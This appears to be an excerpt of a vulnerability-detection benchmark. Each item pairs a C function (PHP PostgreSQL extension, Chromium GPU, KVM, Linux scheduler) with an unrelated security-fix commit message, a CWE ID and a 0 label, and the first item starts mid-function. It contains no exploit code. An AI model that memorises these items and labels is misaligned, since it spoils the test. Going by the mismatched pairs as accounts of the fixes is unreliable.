smart_str_appends(&hash_key, "pgsql_table_oid_");
smart_str_append_unsigned(&hash_key, oid);
smart_str_0(&hash_key);
if (zend_hash_find(&EG(regular_list), hash_key.c, hash_key.len+1, (void **) &field_table) == SUCCESS) {
smart_str_free(&hash_key);
RETURN_STRING((char *)field_table->ptr, 1);
} else { /* Not found, lookup by querying PostgreSQL system tables */
PGresult *tmp_res;
smart_str querystr = {0};
zend_rsrc_list_entry new_field_table;
smart_str_appends(&querystr, "select relname from pg_class where oid=");
smart_str_append_unsigned(&querystr, oid);
smart_str_0(&querystr);
if ((tmp_res = PQexec(pg_result->conn, querystr.c)) == NULL || PQresultStatus(tmp_res) != PGRES_TUPLES_OK) {
if (tmp_res) {
PQclear(tmp_res);
}
smart_str_free(&querystr);
smart_str_free(&hash_key);
RETURN_FALSE;
}
smart_str_free(&querystr);
if ((table_name = PQgetvalue(tmp_res, 0, 0)) == NULL) {
PQclear(tmp_res);
smart_str_free(&hash_key);
RETURN_FALSE;
}
Z_TYPE(new_field_table) = le_string;
new_field_table.ptr = estrdup(table_name);
zend_hash_update(&EG(regular_list), hash_key.c, hash_key.len+1, (void *) &new_field_table, sizeof(zend_rsrc_list_entry), NULL);
smart_str_free(&hash_key);
PQclear(tmp_res);
RETURN_STRING(table_name, 1);
}
}
Commit Message:
CWE ID: | 0 | 14,722 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool FeatureInfo::IsWebGLContext() const {
return IsWebGLContextType(context_type_);
}
Commit Message: gpu: Disallow use of IOSurfaces for half-float format with swiftshader.
R=kbr@chromium.org
Bug: 998038
Change-Id: Ic31d28938ef205b36657fc7bd297fe8a63d08543
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1798052
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Auto-Submit: Khushal <khushalsagar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#695826}
CWE ID: CWE-125 | 0 | 137,069 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void kvm_mmu_notifier_invalidate_range_start(struct mmu_notifier *mn,
struct mm_struct *mm,
unsigned long start,
unsigned long end)
{
struct kvm *kvm = mmu_notifier_to_kvm(mn);
int need_tlb_flush = 0, idx;
idx = srcu_read_lock(&kvm->srcu);
spin_lock(&kvm->mmu_lock);
/*
* The count increase must become visible at unlock time as no
* spte can be established without taking the mmu_lock and
* count is also read inside the mmu_lock critical section.
*/
kvm->mmu_notifier_count++;
for (; start < end; start += PAGE_SIZE)
need_tlb_flush |= kvm_unmap_hva(kvm, start);
need_tlb_flush |= kvm->tlbs_dirty;
spin_unlock(&kvm->mmu_lock);
srcu_read_unlock(&kvm->srcu, idx);
/* we've to flush the tlb before the pages can be freed */
if (need_tlb_flush)
kvm_flush_remote_tlbs(kvm);
}
Commit Message: KVM: unmap pages from the iommu when slots are removed
commit 32f6daad4651a748a58a3ab6da0611862175722f upstream.
We've been adding new mappings, but not destroying old mappings.
This can lead to a page leak as pages are pinned using
get_user_pages, but only unpinned with put_page if they still
exist in the memslots list on vm shutdown. A memslot that is
destroyed while an iommu domain is enabled for the guest will
therefore result in an elevated page reference count that is
never cleared.
Additionally, without this fix, the iommu is only programmed
with the first translation for a gpa. This can result in
peer-to-peer errors if a mapping is destroyed and replaced by a
new mapping at the same gpa as the iommu will still be pointing
to the original, pinned memory address.
Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264 | 0 | 20,372 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int sched_feat_show(struct seq_file *m, void *v)
{
int i;
for (i = 0; i < __SCHED_FEAT_NR; i++) {
if (!(sysctl_sched_features & (1UL << i)))
seq_puts(m, "NO_");
seq_printf(m, "%s ", sched_feat_names[i]);
}
seq_puts(m, "\n");
return 0;
}
Commit Message: sched: Fix information leak in sys_sched_getattr()
We're copying the on-stack structure to userspace, but forgot to give
the right number of bytes to copy. This allows the calling process to
obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent
kernel memory).
This fix copies only as much as we actually have on the stack
(attr->size defaults to the size of the struct) and leaves the rest of
the userspace-provided buffer untouched.
Found using kmemcheck + trinity.
Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI")
Cc: Dario Faggioli <raistlin@linux.it>
Cc: Juri Lelli <juri.lelli@gmail.com>
Cc: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
CWE ID: CWE-200 | 0 | 58,197 |
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